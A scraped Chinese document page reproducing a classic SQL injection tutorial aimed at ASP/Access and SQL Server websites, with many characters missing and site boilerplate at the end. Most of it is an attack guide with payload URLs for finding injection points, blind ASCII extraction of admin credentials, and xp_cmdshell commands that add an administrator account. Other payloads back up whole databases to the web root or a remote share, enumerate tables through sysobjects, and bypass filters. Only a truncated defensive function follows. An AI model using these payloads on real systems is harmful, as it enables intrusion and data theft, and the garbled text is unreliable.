版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
:區(qū)家威(演)、君和志響(收集料)、童景和郭光志(SQL注入漏洞全接觸引
言隨著B/S模式用開的展,使用種模式寫用程序的程序也越來越多。但是由于個(gè)行的入不高,程序的水平及也參差不,相當(dāng)大一部分程序在寫代的候,沒有入數(shù)據(jù)的合法性行判斷,使用程序存在安全患。用可以提交一段數(shù)據(jù)代,根據(jù)程序返回的果,得某些他想得知的數(shù)據(jù),就是所的
SQLInjection,即SQL注入。SQL注入是從正常的WWW端
口
,而且表面看起來跟一般的Web面沒什么區(qū),所以目前市面的防火都不會SQL注入出警,如果管理沒看
IIS日
志
的
,可能被入很都不會但是,SQL注入的手法相當(dāng)靈活,在注入的候會碰到很多意外的情況。能不能根據(jù)具體情況行分析,構(gòu)造巧妙的SQL句,從而成功取想要的數(shù)據(jù),是高手與“菜”的根本區(qū)。根據(jù)國情,國內(nèi)的網(wǎng)站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我從分入、至高解一下
ASP注入的方法及技巧,PHP注入的文章由NB盟的另一位朋友zwell撰寫,希望安全工作者和程序都有用。了解ASP注入的朋友也不要跳入篇,因部分人注入的基本判斷方法存在區(qū)。大家準(zhǔn)?
Let'sGo...入篇如果你以前沒SQL注入的,那么第一步先把IE菜=>工具=>Internet=>高=>示友HTTP信息前面的勾去掉。否,不服器返回什么
IE都只示HTTP500服器,不能得更多的提示信息。第一、SQL注入原理在網(wǎng)站首上,有名“IE不能打開新窗口的多種解決方法”的接,地址:,我在個(gè)地址后面加上引號
’,服器會返回下面的提示:MicrosoftJETDatabaseEngine'80040e14'字符串的法在表達(dá)式
'ID=49''中。/showdetail.asp,行8從個(gè)提示我能看出下面幾點(diǎn):1.網(wǎng)站使用的是Access數(shù)據(jù),JET引擎接數(shù)據(jù),而不是ODBC。2.程序沒有判斷客端提交的數(shù)據(jù)是否符合程序要求。3.SQL句
所
的表中有一名ID的字段。從上面的例子我可以知道,SQL注入的原理,就是從客端提交特殊的代,從而收集程序及服器的信息,從而取你想到得到的料。第二、判斷能否行SQL注入首先,不一定每臺服器的IIS都返回具體提示客端,如果程序中加了cint(參數(shù))之句的,SQL注入是不會成功的,但服器同會,具體提示信息理
URL服器上出。和系管理。其次,部分SQL注入有一點(diǎn)了解的程序,只要把引號掉就安全了,種情況不少數(shù),如果你用引號,是不到注入點(diǎn)的那么,什么的方法才是比準(zhǔn)確呢?答如下:①就是
1=1、1=2法了,怎么判斷呢?看看上面三個(gè)網(wǎng)址返回的果就知道了:可以注入的表:①
正常示(是必然的,不然就是程序有了)②
正常示,內(nèi)容基本與①相同③
提示BOF或EOF(程序沒做任何判斷)、或提示找不到(判斷了
rs.eof)、或示內(nèi)容空(程序加了onerrorresumenext)不可以注入就比容易判斷了,①同正常示,②和③一般都會有程序定的提示,或提示型出。當(dāng)然,只是入?yún)?shù)是數(shù)字型的候用的判斷方法,用的候會有字符型和搜索型參數(shù),我將在中篇的“SQL注入一般步”再做分析。第三:判
斷
數(shù)
據(jù)
型及注入方法不同的數(shù)據(jù)的函數(shù)、注入方法都是有差異的,所以在注入之前,我要判斷一下數(shù)據(jù)的型。一般
ASP最常搭配的數(shù)據(jù)是Access和SQLServer,網(wǎng)上超99%的網(wǎng)站都是其中之一。怎么程序告你它使用的什么數(shù)據(jù)呢?來看看:SQLServer有
一
些
系
量,如果服器
IIS提示沒關(guān),并且SQLServer返回提示的,那可以直接從出信息取,方法如下:/showdetail.asp?id=49anduser>0句很,但包含了
SQLServer特有注入方法的精髓,我自己也是在一次無意的種效率極高的猜解方法。我看來看看它的含:首先,前面的句是正常的,重點(diǎn)在
anduser>0,我知道,user是SQLServer的一個(gè)內(nèi)置量,它的是當(dāng)前接的用名,型nvarchar。拿一個(gè)nvarchar的跟int的數(shù)0比,系會先
nvarchar的
int型,當(dāng)然,程中肯定會出,
SQLServer的出提示是:將nvarchar”abc”數(shù)據(jù)型int的
列
法,呵呵,
abc正是量user的,,不吹灰之力就拿到了數(shù)據(jù)的用名。在以后的篇幅里,大家會看到很多用種方法的句。幾句,眾所周知,
SQLServer的用sa是個(gè)等同Adminstrators限的角色,拿到了sa限,幾乎肯定可以拿到主機(jī)的Administrator了。上面的方法可以很方便的出是否是用
sa登,要注意的是:如果是sa登,提示是將”dbo”
int的列生,而不是
”sa”。如果服器IIS不
允
返
回
提示,那怎么判斷數(shù)據(jù)型呢?我可以從Access和SQLServer和區(qū)入手,Access和SQLServer都有自己的系表,比如存放數(shù)據(jù)中所有象的表,Access是在系表[msysobjects]中,但在Web境
下
表會提示
“沒有限”,SQLServer是在表[sysobjects]中,在Web境下可正常取。在確可以注入的情況下,使用下面的句:/showdetail.asp?id=49and(selectcount(*)fromsysobjects)>0/showdetail.asp?id=49and(selectcount(*)frommsysobjects)>0如果數(shù)據(jù)是SQLServer,那么第一個(gè)網(wǎng)址的面與原面是大致相同的;而第二個(gè)網(wǎng)址,由于找不到表msysobjects,會提示出,就算程序有容理,面也與原面完全不同。如果數(shù)據(jù)用的是Access,那么情況就有所不同,第一個(gè)網(wǎng)址的面與原面完全不同;第二個(gè)網(wǎng)址,乎數(shù)據(jù)置是否允系表,一般來是不允的,所以與原網(wǎng)址也是完全不同。大多數(shù)情況下,用第一個(gè)網(wǎng)址就可以得知系所用的數(shù)據(jù)型,第二個(gè)網(wǎng)址只作開IIS提示的從上篇中,我學(xué)會了SQL注入的判斷方法,但真正要拿到網(wǎng)站的保密內(nèi)容,是的。接下來,我就如從數(shù)據(jù)中取想要得的內(nèi)容首先,我先看看SQL注入的一般步:第一、SQL注入的一般步首先,判斷境,找注入點(diǎn),判斷數(shù)據(jù)型,在入篇已了。其次,根據(jù)注入?yún)?shù)型,在海中重構(gòu)
SQL句的原貌,按參數(shù)型主要分下面三種:(A)ID=49注入的參數(shù)是數(shù)字型,
SQL句原貌大致如下:Select*from
表名
where字段=49注入的參數(shù)ID=49And[條件
],即是生成句:Select*from
表名
where字段=49And[條件
](B)Class=注入的參數(shù)是字符型,
SQL句原貌大致概如下:Select*from
表名
where字段=’’注入的參數(shù)Class=’and[條件
]and‘’=’,即是生成句:Select*from
表名
where字段=’’and[條件
]and‘’=’’(C)搜
索
沒
參數(shù)的,如
keyword=關(guān)字,SQL句原貌大致如下:Select*from
表名
where字段like’%關(guān)字%’注入的參數(shù)keyword=’and[條件
]and‘%25’=’,
即是生成句:Select*from
表名
where字段like’%’and[條件
]and‘%’=’%’接著,將條件替成
SQL句,猜解表名,例如:ID=49And(SelectCount(*)fromAdmin)>=0如果面就與ID=49的相同,明附加條件成立,即表Admin存在,反之,即不存在(牢種方法)。如此循,直至猜到表名止。表名猜出來后,將Count(*)替成Count(字段名),用同的原理猜解字段名。有人會:里有一些偶然的成分,如果表名起得很沒律的,那根本就沒得玩下去了。得很,世界根本就不存在100%成功的黑客技,不叮無的,無多技多高深的黑客,都是因人的程序?qū)懙貌幻芑蚴褂谜弑C芤獠?,才有得下手。有點(diǎn)跑了,回來,于
SQLServer的,是有法程序告我表名及字段名的,我在高篇中會做介
。最后,在表名和列名猜解成功后,再使用SQL句,得出字段的,下面介一種最常用的方法Ascii逐字解法,然種方法速度很慢,但肯定是可行的方法。我
個(gè)例子,已知表
Admin中存在username字段,首先,我取第一條度
:/showdetail.asp?id=49and(selecttop1len(username)fromAdmin)>0先明原理:如果top1的username度大于0,條件成立;接著就是>1、>2、>3下去,一直到條件不成立止
,比如>7成立,>8不成立,就是len(username)=8當(dāng)然沒人會笨得從0,1,2,3一個(gè)個(gè),怎么才比快就看各自
了。在得到
username的度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII,比如:id=49and(selecttop1asc(mid(username,1,1))fromAdmin)>0同也是用逐步小范的方法得到第
1位字符的ASCII,注意的是英文和數(shù)字的ASCII在1-128之,可以用折半法加速猜
解
,
如
果
寫
成
程
序
,效率會有極大的提高。第二、SQL注入常用函數(shù)有SQL言基的人,在
SQL注入的候成功率比不熟悉的人高很多。我有必要提高一下自己的SQL水平,特是一些常用的函數(shù)及命令。Access:asc(字符)SQLServer:unicode(字符)作用:返回某字符的ASCIIAccess:chr(數(shù)字)SQLServer:nchar(數(shù)字)作用:與asc相反,根據(jù)ASCII返回字符Access:mid(字符串,N,L)SQLServer:substring(字符串,N,L)作用:返回字符串從N個(gè)字符起度L的子字符串,即N到N+L之的字符串Access:abc(數(shù)字)SQLServer:abc(數(shù)字)作用:返回?cái)?shù)字的(在猜解字的候會用到)Access:AbetweenBAndCSQLServer:AbetweenBAndC作用:判斷A是否界于B與C之第三、中文理方法在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其只要中文的有所了解,
“中文恐懼癥”很快可以克服。先一點(diǎn)常:Access中,中文的ASCII可
能
會
出
數(shù),取出數(shù)后用
abs()取字字符不。SQLServer中,中文的ASCII正數(shù),但由于是UNICODE的雙位不能用函數(shù)ascii()取得ASCII,必用函數(shù)
unicode()返回unicode,再用nchar函
數(shù)
取
得
的中文字符。了解了上面的兩點(diǎn)后,是不是得中文猜解其也跟英文差不多呢?除了使用的函數(shù)要注意、猜解范大一點(diǎn)外,方法是沒什么兩的。看完入篇和篇后,加破解一般的網(wǎng)站是沒了。但如果碰到表名列名猜不到,或程序作者
了一些特殊字符,怎么提高注入的成功率?怎么提高猜解效率?大家接著往下看高篇第一、利用系表注入
SQLServer數(shù)據(jù)SQLServer是一個(gè)功能強(qiáng)大的數(shù)據(jù)系,與操作系也有密的系,者來了很大的方便,但另一方面,也注入者提供了一個(gè)跳板,我先來看看幾個(gè)具體的例子:①
http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--分號;在SQLServer中表示隔開前后兩句句,--表示后面的句注,所以,句句在
SQLServer中將被分成兩句行,先是Select出ID=1的,然后行
存
xp_cmdshell,個(gè)存程用于用系命令,于是,用net命令新建了用名name、密password的windows的號,接著:②
http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--將新建的號name加入管理,不用兩分,你已拿到了系最高限!當(dāng)然,種方法只適用于用
sa接數(shù)據(jù)的情況,否,是沒有限用xp_cmdshell的。
③
http://Site/url.asp?id=1;;anddb_name()>0前面有個(gè)似的例子anduser>0,作用是取接用名,
db_name()是另一個(gè)系量,返回的是接的數(shù)據(jù)名。④
http://Site/url.asp?id=1;backupdatabase
數(shù)據(jù)名
todisk=’c:\inetpub\wwwroot\1.db’;--是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)名,加上某些IIS出暴露出的將數(shù)據(jù)份到
Web目下面,再用HTTP把整個(gè)數(shù)據(jù)就完完整整的下回來,所有的管理及用密都一無!在不知道候,可以份到網(wǎng)地址的方法(如
\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤
http://Site/url.asp?id=1;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0前面
sysobjects是SQLServer的系表,存著所有的表名、、束及其它象,
xtype=’U’andstatus>0,表示用建立的表名,上面的句將第一個(gè)表名取出,與0比大小,信息把表名暴露出來。第二、第三個(gè)表名怎么???是留我明的者思考吧。⑥
http://Site/url.asp?id=1;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0從⑤拿到表名后,用object_id(‘表名’)取表名的內(nèi)部
ID,col_name(表名ID,1)代表表的第1個(gè)字段名,將1成2,3,4...就可以逐個(gè)取所猜解表里面的字段名。以上6點(diǎn)是我研究SQLServer注入半年多以來的心血晶,可以看出,SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開方面的水平也得到很大的提高,呵呵,也安全與開本來就是相相成的吧。第二、程序制入在入篇提到,有很多人喜用
’號
注入漏洞,所以也有很多人用’號的方法來“防止”注入漏洞,也能住一些入者的攻,但SQL注入比熟悉的人,是可以利用相關(guān)的函數(shù),達(dá)到程序限制的目的。在“SQL注入的一般步”一中,我所用的句,都是我化,其不包含有引號的;在
“利用系表注入SQLServer數(shù)據(jù)”中,有些句包含有’號,我個(gè)例子來看看怎么改造些句:的如
wherextype=’U’,字符U
ASCII是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=’用’,可以用wherename=nchar(29992)+nchar(25143)代替。第三、1.有些人會Select、Update、Delete些關(guān)字,但偏偏忘區(qū)分大小寫,所以大家可以用selecT一下。2.在猜不到字段名,不妨看看網(wǎng)站上的登表,一般了方便起,字段名都與表的入框取相同的名字。3.特注意:地址的
+號入程序后解空格,%2B解+號,%25解%號,具體可以參考URLEncode的相關(guān)介。4.用Get方法注入,IIS會
你所有的提交字符串,Post方法做不,所以能用
Post的網(wǎng)址盡量不用Get
。5.猜解Access只能用Ascii逐字解法,SQLServer也可以用種方法,只需要兩者之的區(qū)即可,但是如果能用SQLServer的信息把暴露出來,那效率和準(zhǔn)確率會有極大的提高。防
范
方
法SQL注入漏洞可是“千里之堤,于”,種漏洞在網(wǎng)上極普遍,通常是由于程序注入不了解,或者程序格,或者某個(gè)參數(shù)忘致。在里,我大家一個(gè)函數(shù),代替
ASP中的Request函數(shù),可以一切的SQL注入SayNO,函數(shù)如下:FunctionSafeRequest(ParaName,ParaType)'---入?yún)?shù)
---'ParaName:參數(shù)名稱-字符型'ParaType:參數(shù)型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)字符)DimParaValueParaValue=Request(ParaName)IfParaType=1thenIfParaValue=""ornotisNumeric(Par
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年度注塑機(jī)設(shè)備轉(zhuǎn)讓及市場占有率提升合同樣本4篇
- 2025年度材料安全評價(jià)及風(fēng)險(xiǎn)評估合同范本3篇
- 2025年度新能源項(xiàng)目土地租賃經(jīng)營合同范本4篇
- 2025年度生態(tài)環(huán)保型安置房建設(shè)一體化服務(wù)合同3篇
- 2024版海鮮采購合同
- 2025年度外墻藝術(shù)裝飾工程承攬合同4篇
- 2024維修公司環(huán)保設(shè)備維修人員勞動(dòng)合同范本3篇
- 2024跨國物流倉儲服務(wù)全面合作框架協(xié)議
- 2025年度物流企業(yè)綠色包裝材料采購合同4篇
- 2025年度臨時(shí)設(shè)施搭建與場地租賃合同3篇
- 2024版塑料購銷合同范本買賣
- 【高一上】【期末話收獲 家校話未來】期末家長會
- JJF 2184-2025電子計(jì)價(jià)秤型式評價(jià)大綱(試行)
- GB/T 44890-2024行政許可工作規(guī)范
- 有毒有害氣體崗位操作規(guī)程(3篇)
- 兒童常見呼吸系統(tǒng)疾病免疫調(diào)節(jié)劑合理使用專家共識2024(全文)
- 2025屆山東省德州市物理高三第一學(xué)期期末調(diào)研模擬試題含解析
- 《華潤集團(tuán)全面預(yù)算管理案例研究》
- 2024-2025高考英語全國卷分類匯編之完型填空(含答案及解析)
- 二年級下冊加減混合豎式練習(xí)360題附答案
- 蘇教版五年級數(shù)學(xué)下冊解方程五種類型50題
評論
0/150
提交評論